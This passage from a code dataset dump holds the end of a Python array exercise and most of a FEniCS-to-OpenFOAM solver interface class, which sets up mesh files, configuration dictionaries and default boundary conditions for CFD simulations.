1\n if max_len < temp_len:\n max_len = temp_len\n s = s_index # storing final start and end\n e = i\n return A[s:e + 1]\n\n# Approach Followed:-\n#\n# For all elements in array :-\n#\n# 1.If ith element is negative, we need to ignore it and go on next element\n#\n# 2. If ith element is non-negative, we will start a second while loop from this position until a negative element\n# arrives. a.If size of subarray received using this is greater than size of previous such arrays, then update the\n# answer b. else ignore it.\n","repo_name":"Abhilash-du/daily-coding-challenges","sub_path":"DataStructures/Arrays_and_Maths/MaximumPositivity.py","file_name":"MaximumPositivity.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"70487093352","text":"import numpy as np\n\n############################# Project libraries ################################\n\n# FoamSolver\nfrom .FoamSolver import FoamSolver\n\n# Mesh\nfrom ..mesh.createMeshFromFEniCS import createMeshFromFEniCS\n\n# I/O (Input/Output)\nfrom ..io.FoamWriter import FoamWriter\nfrom ..io.FoamReader import FoamReader\n\n# Utilities\nfrom ..utils import utils\n\n# FEniCS utilities\nfrom ..utils import utils_fenics\n\n# FEniCS+MPI utilities\nfrom ..utils import utils_fenics_mpi\n\n############################### FEniCS libraries ###############################\n\n# FEniCS\ntry:\n\tfrom fenics import *\n\t # Do not import dolfin-adjoint here. This is a non-annotated module!\nexcept:\n\tutils.printDebug(\" ❌ FEniCS not installed! Can't use FEniCSFoamSolver!\")\n\n############################# FEniCSFoamSolver #################################\n\nclass FEniCSFoamSolver():\n\t\"\"\"\n\tSolver structure for interfacing OpenFOAM with FEniCS.\n\t* All functions here should contain the decorator \"@utils_fenics.no_annotations()\"\n\t to guarantee that, if we are using dolfin-adjoint, no annotations will\n\t be performed. This decorator corresponds to the \"no_annotations\" decorator\n\t of dolfin-adjoint when you have dolfin-adjoint installed; otherwise, it\n\t does nothing.\n\t\"\"\"\n\n\t@utils_fenics.no_annotations()\n\tdef __init__(self, \n\t\tmesh, boundary_data, \t\t\t# FEniCS mesh and boundary data\n\t\tparameters, \t\t\t\t# FoamSolver parameters\n\t\tproperties_dictionary,\t\t\t# OpenFOAM properties set inside a dictionary\n\t\tconfigurations_dictionary,\t\t# OpenFOAM configurations set inside a dictionary\n\n\t\t# Mesh\n\t\tuse_mesh_from_foam_solver = False, \t# Choose this as True ONLY if you already have the mesh defined in the OpenFOAM format\n\n\t\t# Problem setup\n\t\tcreate_all_problem_setup = True,\t# Choose this as False ONLY if you want to reuse files that are already in the OpenFOAM folder structure\n\t\taction_to_do_to_create_all_problem_setup = 'remove only the initial guess folder and overwrite whatever needed', # Choose what you want to do in case the problem folder already exists\n\t\t\t# 'overwrite whatever needed'\n\t\t\t# 'remove only the initial guess folder and overwrite whatever needed'\n\t\t\t# 'remove previous problem folder'\n\t\t\t# 'remove all previous files'\n\t\t\t# 'rename previous problem'\n\n\t\t# Mapping\n\t\ttol_factor_for_mapping_FEniCS_and_OpenFOAM = 0.005, # Tolerance factor for matching FEniCS and OpenFOAM\n\n\t\t# Projection setup\n\t\tprojection_setup = {}, \n\n\t\t# Write precision in the Python code\n\t\tpython_write_precision = 6,\n\n\t\t# Configuration for measurement units\n\t\tconfiguration_of_openfoam_measurement_units = {\n\t\t\t'pressure' : 'rho-normalized pressure',\n\t\t\t\t\t# * It is assumed that FEniCS always uses \"Pa\".\n\t\t\t\t\t# * Remember: This configuration should match the OpenFOAM solver that you are using!\n\t\t\t\t# 'rho-normalized pressure' = Pressure unit is converted from \"Pa\" to \"Pa/(kg/m³)\" for OpenFOAM. Used in incompressible solvers, such as \"simpleFoam\", \"SRFSimpleFoam\" etc.\n\t\t\t\t# 'pressure' = Pressure unit is \"Pa\" for OpenFOAM. Used in compressible solvers, such as \"rhoSimpleFoam\", \"rhoPimpleFoam\" etc.\n\t\t},\n\n\t\t# Additional measurement units\n\t\tadditional_measurement_units = {},\n\n\t\t# Minimum value for the projected turbulence variables\n\t\tmin_value_projected_turbulence_variables = 1.E-14\n\t\t):\n\n\t\tutils.customPrint(\"\\n 🌊 Creating FEniCSFoamSolver...\", mpi_wait_for_everyone = True)\n\n\t\t# Dictionary of measurement units\n\t\tself.dictionary_measurement_units = {\n\n\t\t\t# Velocity\n\t\t\t'U' : \t\t'velocity',\n\n\t\t\t# Relative velocity\n\t\t\t'Urel' : \t'velocity',\n\n\t\t\t# Other velocities\n\t\t\t'U_*' : \t'velocity',\n\n\t\t\t# Pressure\n\t\t\t'p' : \t\t'rho-normalized pressure',\n\n\t\t\t# Temperature\n\t\t\t'T' : \t\t'temperature',\n\n\t\t\t# Kinematic viscosity\n\t\t\t'nu' : \t\t'kinematic viscosity', \n\n\t\t\t# Design variable\n\t\t\t'alpha_design' : 'dimensionless',\n\n\t\t\t# Turbulent variables\n\t\t\t'k' : \t\t'specific turbulent kinetic energy', \t\t\t\t\t# k-epsilon, k-omega models\n\t\t\t'epsilon' : \t'specific rate of dissipation of turbulent kinetic energy', \t\t# k-epsilon model\n\t\t\t'omega' : \t'specific frequency of dissipation of turbulent kinetic energy', \t# k-omega model\n\n\t\t\t'nuTilda' : \t'kinematic viscosity', # Spalart-Allmaras model\n\n\t\t\t'v2' : \t\t'fluctuating velocity normal to the streamlines', \t# v2-f model\n\t\t\t'f' : \t\t'relaxation function', \t\t\t\t\t# v2-f model\n\n\t\t\t# Turbulent kinematic viscosity\n\t\t\t'nut' : \t\t'kinematic viscosity', \n\n\t\t\t# Thermal diffusivity multiplied by the density\n\t\t\t'alphat' : \t\t'thermal diffusivity multiplied by the density',\n\n\t\t\t# Some more unit specifications\n\t\t\t'yWall_to_load' : \t'length',\n\t\t\t'nWall_to_load' : \t'dimensionless',\n\n\t\t}\n\t\tif configuration_of_openfoam_measurement_units['pressure'] == 'rho-normalized pressure':\n\t\t\tself.dictionary_measurement_units['p'] = 'rho-normalized pressure'\n\t\telif configuration_of_openfoam_measurement_units['pressure'] == 'pressure':\n\t\t\tself.dictionary_measurement_units['p'] = 'pressure'\n\t\telse:\n\t\t\traise ValueError(\" ❌ ERROR: configuration_of_openfoam_measurement_units['compressibility'] == '%s' is not defined!\" %(configuration_of_openfoam_measurement_units['compressibility']))\n\n\t\tif len(additional_measurement_units) > 0:\n\t\t\tself.dictionary_measurement_units.update(additional_measurement_units)\n\n\t\t# Minimum value for the projected turbulence variables\n\t\tself.min_value_projected_turbulence_variables = min_value_projected_turbulence_variables\n\n\t\t# Problem folder\n\t\tproblem_folder = parameters['problem_folder']\n\t\tself.problem_folder = problem_folder\n\n\t\t# Tolerance factor for matching FEniCS and OpenFOAM\n\t\tself.tol_factor_for_mapping_FEniCS_and_OpenFOAM = tol_factor_for_mapping_FEniCS_and_OpenFOAM \n\n\t\t# Projection setup\n\t\t # Set how you would like the internal FEniCS projections to operate.\n\t\tself.projection_setup = {\n\t\t\t'solver_type' : 'default',\n\t\t\t'preconditioner_type' : 'default',\n\t\t\t'form_compiler_parameters' : {\n\t\t\t\t'type_of_quadrature_degree' : 'auto',\n\t\t\t},\n\t\t}\n\t\tself.projection_setup.update(projection_setup)\n\n\t\t# Create all problem setup\n\t\tif create_all_problem_setup == True:\n\t\t\tif action_to_do_to_create_all_problem_setup == 'overwrite whatever needed':\n\t\t\t\tpass\n\n\t\t\telif action_to_do_to_create_all_problem_setup == 'remove only the initial guess folder and overwrite whatever needed':\n\n\t\t\t\tif utils.checkIfFileExists(self.problem_folder) == True:\n\t\t\t\t\tsorted_number_folders = utils.findFoamVariableFolders(self.problem_folder)\n\t\t\t\t\tif len(sorted_number_folders) > 0:\n\t\t\t\t\t\tfirst_time_step_name = sorted_number_folders[0]\n\t\t\t\t\t\tutils.removeFolderIfItExists(\"%s/%s\" %(self.problem_folder, first_time_step_name))\n\n\t\t\telif action_to_do_to_create_all_problem_setup == 'remove previous problem folder':\n\t\t\t\tutils.removeFolderIfItExists(self.problem_folder)\n\n\t\t\telif action_to_do_to_create_all_problem_setup == 'remove all previous files':\n\t\t\t\tutils.removeFilesInFolderAndSubfoldersIfItExists(self.problem_folder)\n\n\t\t\telif action_to_do_to_create_all_problem_setup == 'rename previous problem':\n\t\t\t\tutils.renameFolderIfItExists(self.problem_folder, new_name_type = 'bak')\n\n\t\t\telse:\n\t\t\t\traise ValueError(\" ❌ ERROR: action_to_do_to_create_all_problem_setup == '%s' is not defined!\" %(action_to_do_to_create_all_problem_setup))\n\n\t\t# Location of the solver\n\n\t\t# Some default setup\n\t\tparameters.setdefault('solver', {})\n\t\tparameters['solver'].setdefault('type', 'openfoam')\n\n\t\tif parameters['solver']['type'] == 'openfoam':\n\n\t\t\t# Some default setup\n\t\t\tparameters['solver'].setdefault('openfoam', {})\n\t\t\tparameters['solver']['openfoam'].setdefault('name', 'simpleFoam')\n\n\t\t\t# Location of the OpenFOAM solver\n\t\t\tself.location_solver = utils.getOpenFOAMSolverLocation(parameters['solver']['openfoam']['name'])\n\n\t\telif parameters['solver']['type'] == 'custom':\n\n\t\t\tif ('custom' not in parameters['solver']) or ('name' not in parameters['solver']['custom']) or ('location' not in parameters['solver']['custom']):\n\t\t\t\traise ValueError(\"\"\" ❌ ERROR: Forgot to set the custom solver? Its name should be defined in parameters['solver']['custom']['name'] (<-> name of the solver that can be called in the OpenFOAM environment), together with its location in parameters['solver']['custom']['location'] (<-> path to its source files)!\n\nThe solver can be set in any of the two options below:\n\n1) For a solver that you have programmed:\n - parameters['solver']['type'] = 'custom'\n - parameters['solver']['custom']['name'] = ??? (<-> name of the solver that can be called in the OpenFOAM environment)\n - parameters['solver']['custom']['location'] = ??? (<-> path to its source files)\nand set by parameters['compile_modules_if_needed'] as: True (i.e., compile whenever needed, such as in the situations where it is still not compiled, or the source files are newer than the compilation) or False (i.e., do not compile whenever needed -- If the solver still has not been compiled or it is outdated with respect to the source files, you will have to compile it externally). It can also be highlighted that parameters['compile_modules_if_needed'] is applied to any OpenFOAM C++ modules/libraries that are included in FEniCS TopOpt Foam.\n\n2) If you use the setup below, you simply won't have the option parameters['compile_modules_if_needed'] applied to the solver. In essence, that's the only difference with respect to the 'custom' option.\n - parameters['solver']['type'] = 'openfoam'\n - parameters['solver']['openfoam']['name'] = ??? (<-> name of the solver that can be called in the OpenFOAM environment)\n\n\"\"\")\n\n\t\t\t# Location of the custom solver\n\t\t\tself.location_solver = \"%s/%s\" % (parameters['solver']['custom']['location'], parameters['solver']['custom']['name'])\n\n\t\telse:\n\t\t\traise ValueError(\" ❌ ERROR: parameters['solver']['type'] == '%s' is not defined!\" %(parameters['solver']['type']))\n\n\t\t# Domain type\n\n\t\t# Some default setup\n\t\tparameters.setdefault('domain type', '2D')\n\n\t\tdomain_type = parameters['domain type']\n\t\tself.domain_type = domain_type\n\n\t\t# Create the OpenFOAM mesh from the FEniCS mesh\n\t\tif use_mesh_from_foam_solver == False:\n\t\t\tcreateMeshFromFEniCS(mesh, boundary_data, problem_folder, domain_type = domain_type, python_write_precision = python_write_precision)\n\t\t\tparameters.setdefault('mesh', {})\n\t\t\tparameters['mesh']['type'] = 'OpenFOAM mesh' # Set FoamSolver to load the mesh that was prepared above\n\n\t\t# Check if configurations_dictionary is probably OK\n\t\tassert 'controlDict' in configurations_dictionary, \" ❌ ERROR: Forgot to define 'controlDict'.\"\n\t\tassert 'fvSchemes' in configurations_dictionary, \" ❌ ERROR: Forgot to define 'fvSchemes'.\"\n\t\tassert 'fvSolution' in configurations_dictionary, \" ❌ ERROR: Forgot to define 'fvSolution'.\"\n\t\tconfigurations_dictionary['controlDict'].setdefault('writeFormat', 'ascii')\n\t\tassert configurations_dictionary['controlDict']['writeFormat'] == 'ascii', \" ❌ ERROR: This code requires that configurations_dictionary['controlDict']['writeFormat'] == 'ascii'. Please change '%s' to 'ascii'\" %(configurations_dictionary['controlDict']['writeFormat'])\n\n\t\t# Create the problem folders\n\t\tif create_all_problem_setup == True:\n\t\t\tself._createInitialFiles(properties_dictionary, configurations_dictionary, python_write_precision = python_write_precision)\n\t\t\n\t\t# Wait for everyone!\n\t\tif utils_fenics_mpi.runningInParallel():\n\t\t\tutils_fenics_mpi.waitProcessors()\n\n\t\t#### Optimize the mesh for OpenFOAM\n\n\t\tself.optimizeMeshForOpenFOAM()\n\n\t\t#### Set FoamSolver\n\n\t\t# FEniCS mesh\n\t\tself.mesh = mesh\n\n\t\t# Create the FoamSolver\n\t\tself.foam_solver = FoamSolver(parameters = parameters, python_write_precision = python_write_precision)\n\n\t\t# Prepare for editing in step 0\n\t\tself.foam_solver.prepareForEditing(time_step_name = '0')\n\n\t\t# Workaround for having all the configurations available in self.foam_solver,\n\t\t # because FoamReader can't read configurations yet\n\t\tif create_all_problem_setup == True:\n\t\t\tfor i in range(len(self.foam_solver.foam_configurations)):\n\t\t\t\tconfiguration_name = self.foam_solver.foam_configurations[i].name\n\n\t\t\t\tif configuration_name in self.configuration_workaround_while_FoamReader_cant_read_configurations:\n\t\t\t\t\tconfiguration_data = self.configuration_workaround_while_FoamReader_cant_read_configurations[configuration_name]\n\t\t\t\t\tself.foam_solver.foam_configurations[i].reloadData(configuration_data, configuration_name, set_foam_file_info = True)\n\t\t\t\t\t# self.foam_solver.foam_configurations[i].set_to_apply_changes('insert') # Not doing this, because WE KNOW that the configurations are the same of the files\n\n\t\t\t\t\t# If the 'decomposeParDict' has been defined, it is assumed that we want to run the code in parallel\n\t\t\t\t\tif configuration_name == 'decomposeParDict':\n\t\t\t\t\t\tself.foam_solver.setToRunInParallel(configuration_data, set_new_data = False)\n\n\t\t# Prepare FunctionSpaces and maps\n\t\tself.prepareFunctionSpacesAndMaps()\n\n\t\t# FoamVectors\n\t\tfoam_vectors = self.foam_solver.getFoamVectors()\n\n\t\t# Dictionary of variables\n\t\tself.variable_dictionary = {}\n\t\tfor i in range(len(foam_vectors)):\n\t\t\tfoam_vector = foam_vectors[i]\n\t\t\tself.variable_dictionary[foam_vector.name] = {\n\t\t\t\t'FoamVector' : foam_vector,\n\t\t\t\t'FEniCS Function' : None,\n\t\t\t}\n\n\t\t# Additional properties\n\t\tself.additional_properties = {}\n\n\t####################### optimizeMeshForOpenFOAM ########################\n\n\t@utils_fenics.no_annotations()\n\tdef optimizeMeshForOpenFOAM(self, problem_folder = \"\"):\n\t\t\"\"\"\n\t\tOptimize the mesh for OpenFOAM.\n\t\t\"\"\"\n\n\t\tif problem_folder == \"\":\n\t\t\tproblem_folder = self.problem_folder\n\n\t\t# Wait for everyone!\n\t\tif utils_fenics_mpi.runningInParallel():\n\t\t\tutils_fenics_mpi.waitProcessors()\n\n\t\t#### Optimize the mesh for OpenFOAM\n\t\tif utils_fenics_mpi.runningInSerialOrFirstProcessor():\n\n\t\t\twith utils_fenics_mpi.first_processor_lock():\n\n\t\t\t\t# Some OpenFOAM post-processing utilities assume that, inside the 'constant'\n\t\t\t\t # folder, the only folders that are present are folders containing the mesh. This means that\n\t\t\t\t # we can not leave a backup of the mesh inside the 'constant' folder. Below, we are copying it\n\t\t\t\t # to '[problem_folder]/bak_polyMesh_orig'\n\t\t\t\tutils.customPrint(\"\\n 🌀 Creating a copy of the current state of the OpenFOAM mesh to %s/bak_polyMesh_orig...\" %(problem_folder))\n\t\t\t\tutils.run_command_in_shell(\"/bin/cp -pr %s/constant/polyMesh %s/bak_polyMesh_orig\" %(problem_folder, problem_folder), mode = 'print directly to terminal', include_delimiters_for_print_to_terminal = False, indent_print = True)\n\n\t\t\t\t# Reorder the cells in a way that it is more optimized for OpenFOAM to access it (* Renumber the cell list in order to reduce the bandwidth, reading and renumbering all fields from all the time directories. )\n\t\t\t\t # https://cfd.direct/openfoam/user-guide/v7-mesh-description/\n\t\t\t\t # https://www.cfd-online.com/Forums/openfoam/95858-owner-neighbor.html\n\t\t\t\t # (\"Finite Volume Method A Crash introduction - Wolf Dynamics\", p. 92)\n\t\t\t\t # \"speed-up\" (\"Finite Volume Method A Crash introduction - Wolf Dynamics\", p. 101)\n\t\t\t\t # https://www.openfoam.com/documentation/guides/latest/doc/tutorial-pimplefoam-ami-rotating-fan.html\n\t\t\t\tutils.customPrint(\"\\n 🌀 Restructuring the mesh for better calculation performance... (i.e., optimize the order of the cells in the OpenFOAM mesh)\")\n\t\t\t\tutils.run_command_in_shell(\"renumberMesh -case %s -overwrite\" %(problem_folder), mode = 'print directly to terminal', indent_print = True)\n\n\t\t\t\t# Check the mesh\n\t\t\t\tif utils.print_level == 'debug':\n\t\t\t\t\tutils.customPrint(\"\\n 🌀 Checking if the mesh has been created correctly...\")\n\t\t\t\t\tutils.run_command_in_shell(\"checkMesh -case %s -constant -time constant\" %(problem_folder), mode = 'print directly to terminal', indent_print = True)\n\n\t\t# Wait for everyone!\n\t\tif utils_fenics_mpi.runningInParallel():\n\t\t\tutils_fenics_mpi.waitProcessors()\n\n\t######################### _createInitialFiles ##########################\n\n\t@utils_fenics.no_annotations()\n\tdef _createInitialFiles(self, properties_dictionary, configurations_dictionary, python_write_precision = 6):\n\t\t\"\"\"\n\t\tCreate initial files for OpenFOAM.\n\t\t\"\"\"\n\n\t\tutils.customPrint(\"\\n 🌊 Creating initial files for OpenFOAM...\")\n\n\t\t# FoamWriter\n\t\tfoam_writer = FoamWriter(self.problem_folder)\n\n\t\t# FoamReader\n\t\tfoam_reader = FoamReader(self.problem_folder)\n\n\t\t################################################################\n\t\t######################### Variables ############################\n\t\t################################################################\n\n\t\t##################### Folder structure #########################\n\n\t\tfoam_writer.create_folder_structure()\n\n\t\t################ Variable names from solver ####################\n\n\t\t# File with the variable definitions in the solver\n\t\tvariable_definition_file = \"%s/createFields.H\" %(self.location_solver)\n\n\t\t# Recognized variable types\n\t\tvariable_types = ['volScalarField', 'volVectorField']\n\n\t\t# Get all names of the MUST_READ variables of the above types\n\t\t(variable_names_from_solver, variable_types_from_solver) = utils.getMustReadVariableNamesFromSolverFile(variable_definition_file, variable_types, return_types = True)\n\n\t\tfoam_variables = []\n\t\tfor i in range(len(variable_names_from_solver)):\n\t\t\tfoam_variables += [{'name' : variable_names_from_solver[i], 'type' : variable_types_from_solver[i]}]\n\n\t\t# The only variables 'caught' here are the ones present in 'createFields.H'.\n\t\t # For any other dependent variable, such as turbulent variables, please use the 'fenics_foam_solver.initFoamVector' function to initialize them. (* Small observation: DO NOT use 'fenics_foam_solver._initFoamVectorFile', because it is meant to be an internal function.)\n\n\t\t#################### Boundary conditions #######################\n\t\t# Set some default values. The user should change them at a later part of the code!\n\n\t\tmesh_boundary_data = foam_reader.readMeshData('boundary')['boundary']\n\n\t\t# Initialize the necessary variables\n\t\ttime_step_name = '0'\n\t\tfor foam_variable in foam_variables:\n\n\t\t\tfoam_vector_name = foam_variable['name']\n\t\t\tfoam_vector_type = foam_variable['type']\n\n\t\t\t# Initialize the FoamVector file\n\t\t\tself._initFoamVectorFile(foam_vector_name, foam_vector_type, time_step_name = time_step_name, mesh_boundary_data = mesh_boundary_data, foam_writer = foam_writer)\n\n\t\t################################################################\n\t\t######################## Properties ############################\n\t\t################################################################\n\n\t\tfor property_file_name in properties_dictionary:\n\n\t\t\tdata_to_add = {}\n\n\t\t\t# FoamFile definition\n\t\t\tdata_to_add['FoamFile'] = {\n\t\t\t\t'version' : '2.0',\n\t\t\t\t'format' : 'ascii',\n\t\t\t\t'class' : 'dictionary',\n\t\t\t\t'location' : '\"constant\"',\n\t\t\t\t'object' : property_file_name,\n\t\t\t}\n\n\t\t\t# Add the properties\n\t\t\tfor key in properties_dictionary[property_file_name]:\n\t\t\t\tdata_to_add[key] = properties_dictionary[property_file_name][key]\n\n\t\t\t# Write the data to property file\n\t\t\tfoam_writer.writeDataToFile(\n\t\t\t\tdata_to_add = data_to_add, \n\t\t\t\tfile_to_use = \"%s/constant/%s\" % (self.problem_folder, property_file_name)\n\t\t\t)\n\n\t\t################################################################\n\t\t###################### Configurations ##########################\n\t\t################################################################\n\n\t\tassert 'controlDict' in configurations_dictionary\n\t\tassert 'fvSchemes' in configurations_dictionary\n\t\tassert 'fvSolution' in configurations_dictionary\n\t\t#assert 'fvOptions' in configurations_dictionary\n\n\t\t# Workaround for having all the configurations available in self.foam_solver,\n\t\t # because FoamReader can't read configurations yet\n\t\tself.configuration_workaround_while_FoamReader_cant_read_configurations = {}\n\n\t\tfor configuration_file_name in configurations_dictionary:\n\n\t\t\tdata_to_add = {}\n\n\t\t\t# FoamFile definition\n\t\t\tdata_to_add['FoamFile'] = {\n\t\t\t\t'version' : '2.0',\n\t\t\t\t'format' : 'ascii',\n\t\t\t\t'class' : 'dictionary',\n\t\t\t\t'location' : '\"system\"',\n\t\t\t\t'object' : configuration_file_name,\n\t\t\t}\n\n\t\t\t# Add the configurations\n\t\t\tfor key in configurations_dictionary[configuration_file_name]:\n\t\t\t\tdata_to_add[key] = configurations_dictionary[configuration_file_name][key]\n\n\t\t\t# Write the data to configuration file\n\t\t\tfoam_writer.writeDataToFile(\n\t\t\t\tdata_to_add = data_to_add, \n\t\t\t\tfile_to_use = \"%s/system/%s\" % (self.problem_folder, configuration_file_name)\n\t\t\t)\n\n\t\t\tself.configuration_workaround_while_FoamReader_cant_read_configurations[configuration_file_name] = data_to_add\n\n\t######################## getFoamVectorFromName #########################\n\n\tdef getFoamVectorFromName(self, foam_vector_name):\n\t\t\"\"\"\n\t\tGets a FoamVector from its name.\n\t\t\"\"\"\n\t\treturn self.variable_dictionary[foam_vector_name]['FoamVector']\n\n\t############################ initFoamVector ############################\n\n\tdef initFoamVector(self, foam_vector_name, foam_vector_type, time_step_name = '0', skip_if_exists = False):\n\t\t\"\"\"\n\t\tInitializes a new FoamVector (i.e., creates the file and the FoamVector object).\n\t\t-> Use this function if you want to include more variables for OpenFOAM to use.\n\t\t\"\"\"\n\n\t\tif foam_vector_name in self.variable_dictionary:\n\t\t\tif skip_if_exists == True:\n\t\t\t\tutils.customPrint(\" ❗ Skipping FoamVector '%s', which is already defined!...\" %(foam_vector_name))\n\t\t\t\treturn\n\t\t\telse:\n\t\t\t\traise ValueError(\" ❌ ERROR: FoamVector '%s' is already defined!\" %(foam_vector_name))\n\n\t\t# Initializes (i.e., creates) a FoamVector file\n\t\tself._initFoamVectorFile(foam_vector_name, foam_vector_type, time_step_name = time_step_name)\n\n\t\t# Prepares a new FoamVector from file\n\t\tself.foam_solver.prepareNewFoamVector(foam_vector_name, time_step_name = time_step_name)\n\n\t\t# New FoamVector\n\t\tnew_foam_vector = self.foam_solver.foam_vectors[len(self.foam_solver.foam_vectors) - 1]\n\n\t\t# Include in the dictionary of variables\n\t\tself.variable_dictionary[new_foam_vector.name] = {\n\t\t\t'FoamVector' : new_foam_vector,\n\t\t\t'FEniCS Function' : None,\n\t\t}\n\n\t######################### _initFoamVectorFile ##########################\n\n\tdef _initFoamVectorFile(self, foam_vector_name, foam_vector_type, time_step_name = '0', mesh_boundary_data = None, foam_writer = None):\n\t\t\"\"\"\n\t\tInitializes (i.e., creates) a FoamVector file.\n\t\t\"\"\"\n\n\t\t# FoamWriter\n\t\tif type(foam_writer).__name__ == 'NoneType':\n\t\t\tfoam_writer = self.foam_solver.foam_writer\n\n\t\t# Boundary data\n\t\tif type(mesh_boundary_data).__name__ == 'NoneType':\n\t\t\tmesh_boundary_data = self.foam_solver.foam_mesh.boundaries()\n\n\t\t# Boundary names\n\t\tboundary_names = list(mesh_boundary_data.keys())\n\n\t\t# Type check\n\t\tif foam_vector_type in ['volScalarField', 'volVectorField']:\n\t\t\tpass\n\t\telse:\n\t\t\traise ValueError(\" ❌ ERROR: foam_vector_type == '%s' is not defined!\" %(foam_vector_type))\n\n\t\tdata_to_add = {}\n\n\t\t# FoamFile definition\n\t\tdata_to_add['FoamFile'] = {\n\t\t\t'version' : '2.0',\n\t\t\t'format' : 'ascii',\n\t\t\t'class' : foam_vector_type,\n\t\t\t'location' : time_step_name,\n\t\t\t'object' : foam_vector_name,\n\t\t}\n\n\t\t# Dimensions\n\t\tdata_to_add['dimensions'] = self.getFoamMeasurementUnit(foam_vector_name)\n\n\t\t# Set uniform internal fields\n\t\t# Some dummy values to change later. Based on pitzDaily OpenFOAM example\n\t\tif foam_vector_name == 'k':\n\t\t\tdata_to_add['internalField'] = np.array([0.375], dtype = 'float')\n\n\t\telif foam_vector_name == 'epsilon':\n\t\t\tdata_to_add['internalField'] = np.array([14.855], dtype = 'float')\n\n\t\telif foam_vector_name == 'omega':\n\t\t\tdata_to_add['internalField'] = np.array([440.15], dtype = 'float')\n\n\t\telif foam_vector_name == 'v2':\n\t\t\tdata_to_add['internalField'] = np.array([0.25], dtype = 'float')\n\n\t\telse:\n\t\t\tif foam_vector_type == 'volScalarField':\n\t\t\t\tdata_to_add['internalField'] = np.array([0], dtype = 'float')\n\t\t\telif foam_vector_type == 'volVectorField':\n\t\t\t\tdata_to_add['internalField'] = np.array([0, 0, 0], dtype = 'float')\n\n\t\tdata_to_add['boundaryField'] = {}\n\t\tfor boundary_name in boundary_names:\n\n\t\t\tdata_to_add['boundaryField'][boundary_name] = {}\n\n\t\t\t########## Default boundary conditions ##########\n\t\t\t# Some dummy values to change later. Based on pitzDaily OpenFOAM example\n\t\t\t# * Just remember: 'frontAndBackSurfaces', 'frontSurface' and 'backSurface' are RESERVED names.\n\t\t\t# Do not use them anywhere else!\n\n\t\t\tif boundary_name == 'frontAndBackSurfaces':\n\n\t\t\t\t# Add the necessary boundary conditions that enable 2D or 2D axisymmetric simulation\n\t\t\t\t # https://www.cfd-online.com/Forums/openfoam-solving/60539-2d-axisymmetric-swirl.html\n\t\t\t\tif self.domain_type == '2D':\n\t\t\t\t\tdata_to_add['boundaryField']['frontAndBackSurfaces']['type'] = 'empty'\n\t\t\t\telif self.domain_type == '2D axisymmetric':\n\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: self.domain_type == '%s' is using a 2D/2D axisymmetric boundary condition ('%s')???\" %(self.domain_type, boundary_name))\n\n\t\t\telif boundary_name == 'frontSurface':\n\n\t\t\t\t# Add the necessary boundary conditions that enable 2D or 2D axisymmetric simulation\n\t\t\t\t # https://www.cfd-online.com/Forums/openfoam-solving/60539-2d-axisymmetric-swirl.html\n\t\t\t\tif self.domain_type == '2D':\n\t\t\t\t\traise ValueError(\" ❌ ERROR: self.domain_type == '%s' is using a 2D/2D axisymmetric boundary condition ('%s')???\" %(self.domain_type, boundary_name))\n\t\t\t\telif self.domain_type == '2D axisymmetric':\n\t\t\t\t\tdata_to_add['boundaryField']['frontSurface']['type'] = 'wedge'\n\t\t\t\telse:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: self.domain_type == '%s' is using a 2D/2D axisymmetric boundary condition ('%s')???\" %(self.domain_type, boundary_name))\n\n\t\t\telif boundary_name == 'backSurface':\n\n\t\t\t\t# Add the necessary boundary conditions that enable 2D or 2D axisymmetric simulation\n\t\t\t\t # https://www.cfd-online.com/Forums/openfoam-solving/60539-2d-axisymmetric-swirl.html\n\t\t\t\tif self.domain_type == '2D':\n\t\t\t\t\traise ValueError(\" ❌ ERROR: self.domain_type == '%s' is using a 2D/2D axisymmetric boundary condition ('%s')???\" %(self.domain_type, boundary_name))\n\t\t\t\telif self.domain_type == '2D axisymmetric':\n\t\t\t\t\tdata_to_add['boundaryField']['backSurface']['type'] = 'wedge'\n\t\t\t\telse:\n\t\t\t\t\traise ValueError(\" ❌ ERROR: self.domain_type == '%s' is using a 2D/2D axisymmetric boundary condition ('%s')???\" %(self.domain_type, boundary_name))\n\n\t\t\telse:\n\n\t\t\t\tif mesh_boundary_data[boundary_name]['type'] in ['cyclic', 'cyclicAMI', 'cyclicACMI']:\n\t\t\t\t\t# Set periodic ('cyclic', 'cyclicAMI', 'cyclicACMI') boundary condition\n\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = mesh_boundary_data[boundary_name]['type']\n\n\t\t\t\telse:\n\n\t\t\t\t\tif foam_vector_name == 'p':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0], dtype = 'float')\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\n\t\t\t\t\telif foam_vector_name == 'U' or foam_vector_name == 'Urel':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([1, 0, 0], dtype = 'float')\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('wall', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'noSlip'\n\n\t\t\t\t\telif foam_vector_name == 'T':\n\t\t\t\t\t\tif utils.strIsIn('inlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'zeroGradient'\n\t\t\t\t\t\telif utils.strIsIn('outlet', boundary_name, ignore_case = False):\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['type'] = 'fixedValue'\n\t\t\t\t\t\t\tdata_to_add['boundaryField'][boundary_name]['value'] = np.array([0], 